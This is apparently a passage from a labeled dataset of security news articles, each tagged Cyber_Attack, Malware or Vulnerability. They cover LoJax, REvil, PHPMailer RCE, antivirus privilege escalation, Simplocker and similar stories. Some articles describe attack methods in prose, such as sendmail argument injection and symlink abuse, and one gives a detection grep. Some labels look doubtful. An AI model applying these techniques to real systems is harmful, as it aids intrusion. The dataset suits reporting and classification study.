UEFI, or Unified Extensible Firmware Interface, a replacement for the traditional BIOS, is a core and critical firmware component of a computer, which links a computer's hardware and operating system at startup and is typically not accessible to users.

How Does LoJax UEFI Rootkit Work?

According to the ESET researchers, the LoJax malware has the ability to write a malicious UEFI module into the system's SPI flash memory, allowing BIOS firmware to install and execute malware deep inside the computer disk during the boot process.
""This patching tool uses different techniques either to abuse misconfigured platforms or to bypass platform SPI flash memory write protections,"" ESET researchers said in a blog post published today.
Since LoJax rootkit resides in the compromised UEFI firmware and re-infects the system before the OS even boots, reinstalling the operating system, formatting the hard disk, or even replacing the hard drive with a new one would not be sufficient to clean the infection.

Flashing the compromised firmware with legitimate software is the only way to remove such rootkit malware, which typically is not a simple task for most computer users.
First spotted in early 2017, LoJax is a trojaned version of a popular legitimate LoJack laptop anti-theft software from Absolute Software, which installs its agent into the system's BIOS to survive OS re-installation or drive replacement and notifies device owner of its location in case the laptop gets stolen.

According to researchers, the hackers slightly modified the LoJack software to gain its ability to overwrite UEFI module and changed the background process that communicates with Absolute Software's server to report to Fancy Bear's C&C servers.

Upon analyzing the LoJax sample, researchers found that the threat actors used a component called ""ReWriter_binary"" to rewrite vulnerable UEFI chips, replacing the vendor code with their malicious one.
""All the LoJax small agent samples we could recover are trojanizing the exact same legitimate sample of the Computrace small agent rpcnetp.exe. They all have the same compilation timestamp and only a few tens of bytes are different from the original one,"" ESET researchers said.

""Besides the modifications to the configuration file, the other changes include timer values specifying the intervals between connections to the C&C server.""
LoJax is not the first code to hide in the UEFI chip, as the 2015 Hacking Team leak revealed that the infamous spyware manufacturer offered UEFI persistence with one of its products.

Also, one of the CIA documents leaked by Wikileaks last year gave a clear insight into the techniques used by the agency to gain 'persistence' on Apple Mac devices, including Macs and iPhones, demonstrating their use of EFI/UEFI and firmware malware.

However, according to ESET, the LoJax rootkit installation uncovered by its researchers is the first ever recorded case of a UEFI rootkit active in the wild.

How to Protect Your Computer From Rootkits

As ESET researchers said, there are no easy ways to automatically remove this threat from a system.

Since UEFI rootkit is not properly signed, users can protect themselves against LoJax infection by enabling the Secure Boot mechanism, which makes sure that each and every component loaded by the system firmware is properly signed with a valid certificate.

If you are already infected with such malware, the only way to remove the rootkit is to reflash the SPI flash memory with a clean firmware image specific to the motherboard, which is a very delicate process that must be performed manually and carefully.

Alternative to reflashing the UEFI/BIOS, you can replace the motherboard of the compromised system outright.

""The LoJax campaign shows that high-value targets are prime candidates for the deployment of rare, even unique threats. Such targets should always be on the lookout for signs of compromise,"" researchers wrote.
For more in-depth details about the LoJax root, you can head onto a white paper [PDF], titled the ""LoJax: First UEFI rootkit found in the wild, courtesy of the Sednit group,"" published on Thursday by ESET researchers.

",Cyber_Attack
REvil Ransomware Gang Mysteriously Disappears After High-Profile Attacks,https://thehackernews.com/2021/07/revil-ransomware-gang-mysteriously.html,"REvil, the infamous ransomware cartel behind some of the biggest cyberattacks targeting JBS and Kaseya, has mysteriously disappeared from the dark web, leading to speculations that the criminal enterprise may have been taken down.
Multiple darknet and clearnet sites maintained by the Russia-linked cybercrime syndicate, including the data leak, extortion, and payment portals, remained inaccessible, displaying an error message ""Onionsite not found.""
The group's Tor network infrastructure on the dark web consists of one data leak blog site and 22 data hosting sites. It's not immediately clear what prompted the infrastructure to be knocked offline.
REvil is one of the most prolific ransomware-as-a-service (RaaS) groups that first appeared on the threat landscape in April 2019. It's an evolution of the GandCrab ransomware, which hit the underground markets in early 2018.
""If REvil has been permanently disrupted, it'll mark the end of a group which has been responsible for >360 attacks on the U.S. public and private sectors this year alone,"" Emsisoft's Brett Callow tweeted.
The sudden development comes close on the heels of a wide-scale supply chain ransomware attack aimed at technology services provider Kaseya, for which REvil (aka Sodinokibi) took responsibility for and demanded a $70 million ransom to unlock access to encrypted systems in exchange for a universal decryption key that would unlock all victims data.
The disastrous attack saw the ransomware gang encrypting approximately 60 managed service providers (MSPs) and over 1,500 downstream businesses using a zero-day vulnerability in the Kaseya VSA remote management software. In late May, REvil also masterminded the attack on the world's largest meat producer JBS, which ended up paying $11 million to the extortionists to recover from the incident.
The outage also coincides with U.S. President Joe Biden's phone call with Russian President Vladimir Putin last week, pressing the latter to take steps to disrupt ransomware groups operating in the country, while warning of retaliatory action to defend critical infrastructure.
""The situation is still unfolding, but evidence suggests REvil has suffered a planned, concurrent takedown of their infrastructure, either by the operators themselves or via industry or law enforcement action,"" FireEye Mandiant's John Hultquist told CNBC.
It appears that REvil's Happy Blog was taken offline around 1 AM EST on Tuesday, with vx-underground noting that the group's public-facing representative, Unknown, has not posted on popular hacking forums such as Exploit and XSS since July 8.
Subsequently, a representative for LockBit ransomware posted to the XSS Russian-speaking hacking forum that REvil's attack infrastructure received a government legal request, causing the servers to be dismantled. ""REvil is banned from XSS,"" vx-underground later added.
It's not uncommon for ransomware groups to go under the ground following highly publicized incidents. After the DarkSide gang targeted Colonial Pipeline in May, the operators announced plans to wind up its RaaS affiliate program for good, claiming that its servers had been seized by an unknown law enforcement agency, raising questions as to whether the group actually retired, or rebranded under a new name.
This theory was validated a few weeks later when the U.S. Department of Justice revealed last month that it was able to recover most of the money paid by Colonial Pipeline to the DarkSide group through an analysis of the bitcoin trails.
REvil's unexplained shutdown, in a similar fashion, may as well be a case of planned retirement, or a temporary setback, forcing it to seemingly disband only to eventually reassemble under a new identity so as to attract less attention, or a consequence of increased international scrutiny in the wake of the global ransomware crisis.
If it indeed turns out that the group has permanently shuttered operations, the move is bound to leave the group's targets in the lurch, with no viable means to negotiate ransoms and get hold of the decryption keys necessary to regain control of their systems, thus permanently locking them out of their data.
""I don't know what this means, but regardless, I'm happy!"" tweeted Katie Nickels, director of intelligence at Red Canary. ""If it's a government takedown - awesome, they're taking action. If the actors voluntarily went quiet - excellent, maybe they're scared.""

",Cyber_Attack
Thousands of Hacked WordPress Sites Abused to Infect Millions of Visitors,https://thehackernews.com/2015/09/hack-wordpress.html,"A Large number of WordPress websites were compromised in last two weeks with a new malware campaign spotted in the wild.

WordPress, a Free and Open source content management system (CMS) and blogging tool, has been once again targeted by hackers at large scale.

Researchers at Sucuri Labs have detected a ""Malware Campaign"" with an aim of getting access to as many devices they can by making innumerable WordPress websites as its prey.

The Malware campaign was operational for more than 14 days ago, but it has experienced a massive increase in the spread of infection in last two days, resulted in affecting more than 5000 Wordpress websites.

The Security researchers call this malware attack as ""VisitorTracker"", as there exists a javascript function named visitorTracker_isMob() in the malicious code designed by cyber criminals.

This new campaign seems to be utilizing the Nuclear Exploit Kit and uses a combination of hacked WordPress sites, hidden iframes and number of known and unknown Browser exploits.

Though if we go by the name, it's meaning can be extracted as tracking every visitor who accesses the victimized WordPress sites and further redirects them to the specially crafted page where the Nuclear Exploit Kit is planted.

So, Plan of Action is:
Insert a malware code to all the JavaScript files on the compromised WordPress website.
On sensing a Visitor, Taking him to the exploit landing page via an iFrame.
The landing page pushes browser based Exploits on the victim's system to gain access.
If Introspect, we'll notice that the exploit kit being used here can deploy attacks through vulnerabilities in plugins with an aim of data exfiltration.
The Sucuri researchers team as a solution suggest, ""The infection is very buggy and often removed single-quotes from legitimate files that corrupt the site completely. Affects plugins, themes and even core files of WordPress and Joomla. The solution is to restore files from a clean backup.""
Moreover, to check if you are affected by the attack follow the below-mentioned command: (user with Admin rights can access)
grep -r ""visitorTracker_isMob"" /var/www/
Additionally, as a prevention:
Keep your plugins up-to-date, with latest security patches implemented.
Always maintain a backup of your sensitive data.

",Malware
New Flaws in Top Antivirus Software Could Make Computers More Vulnerable,https://thehackernews.com/2020/10/antivirus-software-vulnerabilities.html,"Cybersecurity researchers today disclosed details of security vulnerabilities found in popular antivirus solutions that could enable attackers to elevate their privileges, thereby helping malware sustain its foothold on the compromised systems.
According to a report published by CyberArk researcher Eran Shimony today and shared with The Hacker News, the high privileges often associated with anti-malware products render them more vulnerable to exploitation via file manipulation attacks, resulting in a scenario where malware gains elevated permissions on the system.
The bugs impact a wide range of antivirus solutions, including those from Kaspersky, McAfee, Symantec, Fortinet, Check Point, Trend Micro, Avira, and Microsoft Defender, each of which has been fixed by the respective vendor.
Chief among the flaws is the ability to delete files from arbitrary locations, allowing the attacker to delete any file in the system, as well as a file corruption vulnerability that permits a bad actor to eliminate the content of any file in the system.
Per CyberArk, the bugs result from default DACLs (short for Discretionary Access Control Lists) for the ""C:\ProgramData"" folder of Windows, which are by applications to store data for standard users without requiring additional permissions.
Given that every user has both write and delete permission on the base level of the directory, it raises the likelihood of a privilege escalation when a non-privileged process creates a new folder in ""ProgramData"" that could be later accessed by a privileged process.
Antivirus
Vulnerability
Kaspersky Security Center CVE-2020-25043, CVE-2020-25044, CVE-2020-25045
McAfee Endpoint Security and McAfee Total Protection CVE-2020-7250, CVE-2020-7310
Symantec Norton Power Eraser CVE-2019-1954
Fortinet FortiClient CVE-2020-9290
Check Point ZoneAlarm and Check Point Endpoint Security CVE-2019-8452
Trend Micro HouseCall for Home Networks CVE-2019-19688, CVE-2019-19689, and three more unassigned flaws
Avira CVE-2020-13903
Microsoft Defender CVE-2019-1161
In one case, it was observed that two different processes — one privileged and the other run as an authenticated local user — shared the same log file, potentially allowing an attacker to exploit the privileged process to delete the file and create a symbolic link that would point to any desired arbitrary file with malicious content.
Subsequently, CyberArk researchers also explored the possibility of creating a new folder in ""C:\ProgramData"" before a privileged process is executed.
In doing so, they found that when McAfee antivirus installer is run after creating the ""McAfee"" folder, the standard user has full control over the directory, allowing the local user to gain elevated permissions by performing a symlink attack.
To top it all, a DLL hijacking flaw in Trend Micro, Fortinet, and other antivirus solutions could have been exploited by an attacker to place a malicious DLL file into the application directory and elevate privileges.
Urging that access control lists must be restrictive to prevent arbitrary delete vulnerabilities, CyberArk stressed the need to update the installation frameworks to mitigate DLL Hijacking attacks.
While these issues may have been addressed, the report serves as a reminder that weaknesses in software, including those that aim to offer antivirus protection, can be a conduit for malware.
""The implications of these bugs are often full privilege escalation of the local system,"" CyberArk researchers said. Due to the high privilege level of security products, an error in them could help malware to sustain its foothold and cause more damage to the organization.""

",Vulnerability
"Critical Updates — RCE Flaws Found in SwiftMailer, PhpMailer and ZendMail",https://thehackernews.com/2017/01/phpmailer-swiftmailer-zendmail.html,"A security researcher recently reported a critical vulnerability in one of the most popular open source PHP libraries used to send emails that allowed a remote attacker to execute arbitrary code in the context of the web server and compromise a web application.

Disclosed by Polish security researcher Dawid Golunski of Legal Hackers, the issue (CVE-2016-10033) in PHPMailer used by more than 9 Million users worldwide was thought to be fixed with the release of version 5.2.18.

However, Golunski managed to bypass the patched version of PHPMailer that was given a new CVE (CVE-2016-10045), which once again put millions of websites and popular open source web apps, including WordPress, Drupal, 1CRM, SugarCRM, Yii, and Joomla, at risk of remote code execution attack.

PHPMailer eventually fixed the issue with an update, version 5.2.20. All versions of PHPMailer before this critical release are affected, so web administrators and developers are strongly recommended to update to the new version.

In addition to this bug, Golunski also reported a similar vulnerability in two other mailing libraries for PHP, SwiftMailer, and ZendMail, that could have also led to remote code execution attack.

RCE Flaw in SwiftMailer

SwiftMailer is also a popular PHP library used by many major open-source projects, including top PHP programming frameworks like Yii2, Laravel, Symfony for sending emails over SMTP.

The vulnerability (CVE-2016-10074) in SwiftMailer can be exploited in the same manner as the PHPMailer vulnerability by targeting web site components that use SwiftMailer class, such as contact/registration forms, password email reset forms, and so forth.

Attackers can execute arbitrary code remotely in the context of the web server, which could further be exploited to access a web server hosting a web application that used a vulnerable version of the library.

The SwiftMailer vulnerability affects all versions of the library, including the then-current release, version 5.4.5-DEV.

Golunski disclosed the vulnerability to SwiftMailer team, and developers acted fast to fix the issue, rolling out patched version 5.4.5 within a day.

""The mail transport (Swift_Transport_MailTransport) was vulnerable to passing arbitrary shell arguments if the ""From,"" ""ReturnPath"" or ""Sender"" header came from a non-trusted source, potentially allowing Remote Code Execution,"" reads the changelog for SwiftMailer on GitHub.

RCE Flaw in ZendMail
ZendMail is a component of a very popular PHP programming framework Zend Framework with more than 95 Million installations.

The critical vulnerability (CVE-2016-10034) in ZendMail can also be exploited in the same manner as one discovered in PHPMailer and SwiftMailer by targeting web site components that use ZendMail, like contact/registration forms, password email reset forms, and so on.

Attackers could achieve remote code execution in the context of the web server and could remotely compromise the target web application that used the vulnerable version of the ZendMail.

The researcher reported the issue to ZendMail, and the developers fixed the vulnerability and rolled out the patched version.
""When using the zend-mail component to send email via the Zend\Mail\Transport\Sendmail transport, a malicious user may be able to inject arbitrary parameters to the system sendmail program,"" ZendMail wrote in a blog post.
""The attack is performed by providing additional quote characters within an address; when unsanitized, they can be interpreted as additional command line arguments, leading to the vulnerability.""
Golunski has released a proof-of-concept video demonstration that will show all the three attacks in action.
Golunski has also released a 3-in-1 exploit, nicknamed PwnScriptum, about the vulnerabilities in PHPMailer, SwiftMailer, and ZendMail.

The researcher will soon be revealing a security white-paper with previously unknown exploitation vectors and techniques that can be used to exploit all the 3 vulnerabilities.

",Vulnerability
CASPER Surveillance Malware Linked to French Government,https://thehackernews.com/2015/03/casper-surveillance-malware-france.html,"Last month, cyber security researchers spotted a new strain of french surveillance malware, dubbed ""Babar,"" which revealed that even French Government and its spying agency the General Directorate for External Security (DGSE) is dedicatedly involved in conducting surveillance operation just like the United States — NSA and United Kingdom — GCHQ.

A powerful piece of surveillance malware, known as ""Casper,"" has recently been discovered by the Canadian security researchers that once again point fingers at the French government.

CASPER SURVEILLANCE MALWARE LINKED TO FRANCE
The newly discovered sophisticated Casper surveillance malware is believed to be developed by France based hacking group suspected to have ties with the French government, according to the report published by Motherboard.

Report suggests that French hacking group have developed 'Swiss Army knife of spying tools' which has been used by French government to conduct multiple espionage campaigns over the last few years.

WHAT IS CASPER ?
Casper is a 'recognition tool', designed to profile its targets and determine whether the victim is of interest for further surveillance or not. Casper surveillance malware was used as an initial program before deploying any advance persistent malware into the targeted computers for espionage purpose.

In April 2014, Casper surveillance malware was especially hosted on a hacked Syrian Government's Ministry of Justice website to infect its targets by exploiting two Flash Player zero-day vulnerabilities that were not known publicly at that time.

Syrian Ministry of Justice website which was set up in 2011 by the government for citizens to send complaints to the Bashar al-Assad regime. Casper malware was hosted in a folder on the website and users who accessed that folder were infected by the surveillance malware.

These kind of zero-day exploits, in some way, open doors for hackers to collect information from the target computers and cost Millions of Dollars in exploit market. It is believed that Casper surveillance malware is created by experts with significant financial resources i.e. State-sponsored.

BABAR, CASPER — SAME MALWARE FAMILY — SAME FATHER
After analyzing the code fragments of a Casper malware, researchers found numerous similarities between Casper surveillance malware and the Babar.

Babar, is an advance malware developed in 2009, capable of eavesdropping on online conversations which held via Skype, MSN and Yahoo messenger, and records and transfers keystrokes, clipboard data, and monitors which websites an infected user has visited.
Babar was used against Iranian nuclear research institutes and universities, and European financial institutions. It was previously mentioned in a slideshow leaked by NSA whistleblower Edward Snowden, where it was linked to French Government by the Canadian intelligence agency.

Casper, on other hand, is the mature version of the Babar and is literally a ghost spy program. Once infected, Casper surveillance malware gather all the ""intelligence information"" about the target computer and sends them back to the control center without ever revealing its presence.

If a victim was found interesting and worthy of further hacking, Casper surveillance malware enabled the hackers to deploy additional malware, such as Babar, through a built-in platform for plugins.

",Malware
Use This One-Click Mitigation Tool from Microsoft to Prevent Exchange Attacks,https://thehackernews.com/2021/03/use-this-one-click-mitigation-tool-from.html,"Microsoft on Monday released a one-click mitigation software that applies all the necessary countermeasures to secure vulnerable environments against the ongoing widespread ProxyLogon Exchange Server cyberattacks.
Called Exchange On-premises Mitigation Tool (EOMT), the PowerShell-based script serves to mitigate against current known attacks using CVE-2021-26855, scan the Exchange Server using the Microsoft Safety Scanner for any deployed web shells, and attempt to remediate the detected compromises.
""This new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update,"" Microsoft said.
The development comes in the wake of indiscriminate attacks against unpatched Exchange Servers across the world by more than ten advanced persistent threat actors — most of the government-backed cyberespionage groups — to plant backdoors, coin miners, and ransomware, with the release of proof-of-concept (PoC) fueling the hacking spree even further.
Based on telemetry from RiskIQ, 317,269 out of 400,000 on-premises Exchange Servers globally have been patched as of March 12, with the U.S., Germany, Great Britain, France, and Italy leading the countries with vulnerable servers.
Additionally, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has updated its guidance to detail as many as seven variants of the China Chopper web shell that are being leveraged by malicious actors.
Taking up just four kilobytes, the web shell has been a popular post-exploitation tool of choice for cyber attackers for nearly a decade.
While the breadth of the intrusions is being assessed, Microsoft is also reportedly investigating how the ""limited and targeted"" attacks it detected in early January picked up steam to quickly morph into a widespread mass exploitation campaign, forcing it to release the security fixes a week before it was due.
The Wall Street Journal on Friday reported that investigators are focused on whether a Microsoft partner, with whom the company shared information about the vulnerabilities through its Microsoft Active Protections Program (MAPP), either accidentally or purposefully leaked it to other groups.
It is also being claimed that some tools used in the ""second wave"" of attacks towards the end of February are similar to proof-of-concept attack code that Microsoft shared with antivirus companies and other security partners on February 23, raising the possibility that threat actors may have gotten their hands on private disclosure that Microsoft shared with its security partners.
The other theory is that the threat actors independently discovered the same set of vulnerabilities, which were then exploited to stealthily conduct reconnaissance of target networks and steal mailboxes, before ramping up the attacks once the hackers figured out Microsoft was readying a patch.
""This is the second time in the last four months that nation-state actors have engaged in cyberattacks with the potential to affect businesses and organizations of all sizes,"" Microsoft said. ""While this began as a nation-state attack, the vulnerabilities are being exploited by other criminal organizations, including new ransomware attacks, with the potential for other malicious activities.""

",Cyber_Attack
Student Decrypts Simplocker Android Ransomware that Encrypts Files,https://thehackernews.com/2014/06/student-cracks-simplelocker-android.html,"In a previous story, I reported about a new ransomware threat known as Simplocker discovered by researchers at the security firm ESET, targeting Android users in the UK, Switzerland, Germany, India and Russia, for ransom.

Simplocker (Android/Simplocker.A) is the latest Android ransomware that has ability to encrypt the files using Advanced Encryption Standard (AES) on the Android device SD cards demanding users pay a ransom of 260 UAH (Ukrainian hryvnias), which is roughly equal to $21 US, for those files to be decrypted.

To hide their track, the malware author is using the Command-and-Control server hosted on TOR .onion domain, which makes it difficult to trace the server's physical location or determine who is operating it.

The malware collects information about the users' phone such as IMEI number, Operating System, phone model and manufacturer to send it all to Command-and-Control server.

STUDENT CRACKS SIMPLOCKER RANSOMWARE
Now, an undergraduate student Simon Bell from the University of Sussex promises to release a Java application to decrypt the files encrypted by the so-called first Android File-encrypting and TOR-enabled Mobile Ransomware.
In a technical blog, Secure Honey published Monday, the student has given a detailed explanation on how to reverse Simplocker Ransomware and develop an app to pluck the decryption keys stored within.
""This dissection shows how the app encrypts user's files and that information about the phone is sent to a C&C (command and control) server on the TOR network,"" Bell writes. ""But one important question remains unanswered: would it be possible to decrypt files that have been encrypted by the app without connecting to the C&C server? In other words: can we reverse the damage done by this app?""
Bell detailed the Static and Dynamic analysis of the Ransomware code and found a method called decrypt() which is very similar to the encrypt() method.
""Obviously this method carries out the decryption on the input file and produces the decrypted output file,"" he said. ""The same line numbers from the encrypt() method are highlighted to demonstrate how decryption occurs.""

In his next blog, he'll publish the crypto-cracking app allowing victims to free their devices from the nasty Ransomware without paying any ransom fine.

We have seen many similar threat such as CryptoLocker, CryptoWall and PrisonLocker ransomware targeting users Worldwide, but the only difference is that first they were targeting PCs and now with the popularity of Android platform, they are targeting Smartphones.

But to keep yourself away from such emerging threats, it is always important for you to keep the back-up of all your files either manually on the computer system or with the use of cloud backup services like Dropbox, Google drive etc.

We'll update you the antidote for this ransomware as soon as he get it done. Stay Tuned!

UPDATE: You can download Java program to Decrypt Simplelocker Android Ransomware.

",Malware
"Secret Charges Against Julian Assange Revealed Due to ""Cut-Paste"" Error",https://thehackernews.com/2018/11/indictment-wikileaks-julian-assange.html,"Has Wikileaks founder Julian Assange officially been charged with any unspecified criminal offense in the United States? — YES

United States prosecutors have accidentally revealed the existence of criminal charges against Wikileaks founder Julian Assange in a recently unsealed court filing in an unrelated ongoing sex crime case in the Eastern District of Virginia.

Assistant US Attorney Kellen S. Dwyer, who made this disclosure on August 22, urged the judge to keep the indictment [pdf] prepared against Assange sealed (secret) ""due to the sophistication of the defendant, and the publicity surrounding the case.""

Dwyer is assigned to the WikiLeaks case.

Dwyer also said the charges would ""need to remain sealed until Assange is arrested in connection with the charges"" in the indictment and can, therefore ""no longer evade or avoid arrest and extradition in this matter.""

WikiLeaks, the website that published thousands of classified U.S. government documents in 2010, said on social network Twitter that the Assange's name appearing in those court documents was due to an ""apparent cut-and-paste error.""

The charges America is bringing against the WikiLeaks Founder remains unclear, but the Justice Department last year was reportedly considering filing criminal charges against WikiLeaks and Assange in connection with the leak of diplomatic cables and military documents in 2010.

Special counsel Robert S. Mueller is probing leaks during the U.S. 2016 presidential election, and it was WikiLeaks who made public stolen emails from officials of Democratic National Committee (DNC), including Hillary Clinton's campaign chairman John Podesta.

Assange, the 47-year-old Australian hacker, founded WikiLeaks in 2006 and has since made many high-profile leaks, exposing 'dirty' secrets of several individuals, political parties as well as government organizations across the world.

Assange has been forced to live in the Ecuadorian Embassy in London since June 2012, after he was granted asylum by the Ecuador government when a British court ordered his extradition to Sweden to face questioning sexual assault and rape.

However, Assange's relationship with Ecuador has deteriorated in recent months, leaving his future uncertain. Ecuador has cut him off the Internet and any communication with the outside world except for his lawyers since this March.

The circumstances even made it difficult for him to do his job of editor-in-chief to run WikiLeaks and forced the whistleblower organization to appoint its new editor-in-chief, Kristinn Hrafnsson.

The new charges against Assange could ultimately have additional cascading effects.

""The news that criminal charges have apparently been filed against Mr. Assange is even more troubling than the haphazard manner in which that information has been revealed,"" Assange lawyer Barry Pollack told The New York Times.

""The government bringing criminal charges against someone for publishing truthful information is a dangerous path for a democracy to take.""
",Cyber_Attack
Smartphone wireless chipset vulnerable to DoS attack,https://thehackernews.com/2012/10/smartphone-wireless-chipset-vulnerable.html,"Security researcher Andres Blanco from CoreSecurity discovered a serious vulnerability in two Wireless Broadcom chipsets used in Smartphones. Broadcom Corporation, a global innovation leader in semiconductor solutions for wired and wireless communications.

Broadcom BCM4325 and BCM4329 wireless chipsets have been reported to contain an out-of-bounds read error condition that may be exploited to produce a denial-of-service condition. Other Broadcom chips are not affected. The CVE ID given to issue is CVE-2012-2619.

In advisory they reported that this error can be leveraged to denial of service attack, and possibly information disclosure. An attacker can send a RSN (802.11i) information element, which causes the Wi-Fi NIC to stop responding.
Products containing BCM4325 chipsets:
Apple iPhone 3GS
Apple iPod 2G
HTC Touch Pro 2
HTC Droid Incredible
Samsung Spica
Acer Liquid
Motorola Devour
Ford Edge (yes, it's a car)
Products containing BCM4329 chipsets:
Apple iPhone 4
Apple iPhone 4 Verizon
Apple iPod 3G
Apple iPad Wi-Fi
Apple iPad 3G
Apple iPad 2
Apple Tv 2G
Motorola Xoom
Motorola Droid X2
Motorola Atrix
Samsung Galaxy Tab
Samsung Galaxy S 4G
Samsung Nexus S
Samsung Stratosphere
Samsung Fascinate
HTC Nexus One
HTC Evo 4G
HTC ThunderBolt
HTC Droid Incredible 2
LG Revolution
Sony Ericsson Xperia Play
Pantech Breakout
Nokia Lumina 800
Kyocera Echo
Asus Transformer Prime
Malata ZPad
The DoS issue does not in any way compromise the security of users data. Broadcom has a patch available that addresses the issue and makes devices that include the BCM4325 and BCM4329 immune to a potential attack. The Proof of Concept Code and technical details are available at Advisory.

",Vulnerability
NCIIPC: It's Time to Step Forward And Protect Our Critical Infrastructures from Cyber Attacks,https://thehackernews.com/2017/01/protect-critical-infrastructure.html,"The IT threat landscape has changed dramatically over the last three-four years.

With no shortage of threat actors, from hacktivists to nation-states, criminals to terrorists, all of them are now after something new.

It's no more just about stealing your money, credit cards and defacing websites, as now they are after the intellectual property, mass attacks and most importantly, our critical infrastructures.

We have long-discussed nightmare scenarios of cyber attacks against nation's critical infrastructure, but now these scenarios have come to the real world, and we have seen many such incidents in the past years.

The latest example is cyber attacks against Ukrainian power grid. Just two weeks back, Ukraine's national power company Ukrenergo confirmed that electricity outage on 17-18th December last year was caused by a cyber attack.

Such sophisticated cyber attacks have revealed the extent of vulnerabilities in the systems that are operating the most critical sectors in a country.

Around 13 years ago, the Indian government established the Computer Emergency Response Team (CERT-In), and just like CERTs in other nations; it is responsible for collecting and sharing reports on cyber attacks against non-critical systems.

Every minute, we see about half a million attack attempts that are happening in cyberspace.

But, we are living in a dramatically fast changing world and unfortunately, which now includes threats not only against people, places, and information but also against strategic sectors and critical infrastructure of a nation, for which most organizations were never prepared for.

In order to address cybersecurity of critical infrastructure and evolve related practices, policies, and procedures to protect our most critical properties, the government set up a special body in 2014, named NCIIPC.

NCIIPC — National Critical Information Infrastructure Protection Centre — works under the country's technical Intelligence Agency, NTRO and vowed to work with public and private sectors to identify the nation's most critical assets and systems, and help them to create a foolproof firewall around these networks and overall risk management strategies.

Just last week, NCIIPC organized an event to celebrate its third anniversary of its foundation day, and I got an opportunity to attend the event and represent The Hacker News, among others, including — cyber security experts, policymakers, industry leaders, Academia and Government representatives.
The event aimed to provide a platform for all stakeholders of the CII ecosystem to converge, deliberate and formalize action plans for optimizing and improving protection of the vast array of CII deployed across the nation.

Here's a brief of last week's main events, in case you've missed them:

The event was inaugurated with the welcome address from Mr. Alok Joshi, Chairman NTRO, who briefly said that the cybersecurity threats are becoming more severe over time.

Attacks are happening now… but not only this, it is constantly changing and, in the case of cyber, the threats are becoming ever more sophisticated and insidious.

And It's true, everything is under attack… from highly critical infrastructures to medical devices.

Mr. Joshi's talk was followed by Dr.Arvind Gupta, Deputy National Security Advisor (NSA), Chief guest for the event, who primarily focused his talk on critical issues originated due to a massive number of unreported cyber-attacks.

He also showed support for the need of developing capabilities to strengthen cybersecurity research and development (R&D) community, which must include researchers, industry experts, and academia.

The event also witnessed insightful keynotes including Dr.Gulshan Rai, India's first National Cyber Security Coordinator and Dr. Sanjay Bahl, Director General CERT-In.

Both officials collaboratively said that NCIIPC is intended to promote collaboration and information sharing between government and industry to facilitate safe, secure and resilient Information Infrastructure for Critical Sectors of the Nation.

Moreover, delegates also discussed the security of Internet of Things -- the next generation critical Infrastructure.

Just as critical infrastructure is essential for everyday living, the rapidly growing ""Internet of Things"" is changing the way we use technology and helping people live more efficiently.

So, it has been concluded that to prevent our critical assets from sophisticated cyber attacks, we and organizations like NCIIPC, need to work together to identify the list of infrastructures that need special protection and know, who are after them.... waiting for opportunities to harm nation's economy and steal our secrets.

",Cyber_Attack
Hackers Could Crash Trains by Hacking Rail Traffic System,https://thehackernews.com/2015/04/hacking-train-crash.html,"After reaching heights in cyber attacks by targeting SCADA systems, hackers are looking forward to crash trains.

It isn't only assumptions; it could actually happen in real.

A new hi-tech railway signalling system being tested in the United Kingdom could potentially be hacked by cyber criminals to cause oncoming trains to crash into one another at highest speeds, an Internet security expert has warned.

The Loophole:

The European Rail Traffic Management System, a new digital system that are designed to make train lines secure and safer…

...actually lack in security that could easily expose the systems to malware and allows malicious actors (like terrorists) to cause massacre around the UK.

'Nasty Accident is Waiting.'

Internet security expert Professor David Stupple told the BBC that plans to replace old railway signal lights with new digital systems could expose the railway network to cyber attack, causing a ""nasty accident"" to happen involving terrorists as they could ""easily expose the new mainframe.""
""It's the clever malware that actually alters the way the train will respond,"" Stupple said. ""So, it will perhaps tell the system the train is slowing down, when [it is] speeding up.""
However, Stupple acknowledged that the Government are not complacent because they are completely aware of the dangers of the dangerous impacts and ""they are worried about it.""

The Internet security expert at City University also outlined that the operators and the government ministers are working on more safer and better security measures in order to avoid the upcoming cyber threat.

What could be the worse part?

Stubble also highlighted the government's fears that the possible and the biggest threat of hacking could come from an insider.

Yes, we talking about the Insider Threat.

In most of the cases, the security systems are very well protected against the outside malicious hackers and cyber attacks, but the real danger could come from an insider rogue employee.
""The weakness is getting malware into the system by employees,"" the expert explained. ""Either because they are dissatisfied or being bribed or coerced.""
The in-charge of the new Train System respond:

Network Rail, the in charge of the new train line upgrade that is expected to be completely operational by the 2020s, confirmed it has acknowledged the threat.

This means the new upgradation to the train lines could be at risk of a security breach.
""We know that the risk (of a cyber attack) will increase as we continue to roll out [the] digital technology across the network,"" a spokesman for National Rail told the BBC.
The spokesperson added that Network Rail will work closely with the government, the security operators, their partners and suppliers in the railway industry as well as the external cyber-security specialists to better understand the potential threat to the new systems.

",Malware
Europe prepares for war with botnets !,https://thehackernews.com/2011/03/europe-prepares-for-war-with-botnets.html,"EU cyber security agency ENISA has warned that ISPs, end users and governments all have a role to play in stopping the global menace of botnet-related cyber crime.
Botnets, such as the one that uses the infamous Zeus malware to infect machines, are growing in scope and scale, and ENISA has released two reports in which it attempts to understand the root of the problem and how to tackle it.
The security agency warned that combating botnet attacks will take a co-ordinated response and should only be tackled after careful consideration of their impact and motivation.
""The botnet numbers define the political agenda and they determine hundreds of millions of euros of security investments. We should understand what is behind them,"" said Giles Hogben, the report editor.
""Size is not everything - the number of infected machines alone is an inappropriate measure of the threat.""
ENISA's main report, Botnets: Measurement, Detection, Disinfection and Defence (PDF) is an investigation into how best to measure the size of botnets and their threats, and more importantly how to neutralise them.
Here, collaboration, specifically between nation states and their security mechanisms, is of considerable importance.
""Global co-operation is indispensable for successful defence against botnets,"" added Udo Helmbrecht, the executive director of ENISA.
The report suggests that botnets should be tackled on a co-ordinated basis, as sharing information about attacks will increase understanding and limit any further infection.
Enisa also suggested that laws should be harmonised as a way of ensuring a consistent approach by regulators.
Service providers should have a role to play too, in taking more responsibility for spotting suspicious activity on their networks.
ISPs should be ""strongly incentivised"" to improve monitoring and malware takedowns, according to the report.
End users were also the focus of some attention and they will be expected to do all they can to stop their machines getting infected with botnet malware.
ENISA wants to support this increased security push with educational or support programmes designed to raise awareness about personal protection.
A second report, titled Botnets: 10 Tough Questions, is a ""distillation"" of the body's discussions with experts including ISPs, security researchers, computer emergency response teams, anti-virus firms and law enforcement agencies.
It raises questions such as what kind of legislation is needed and where money should be invested.
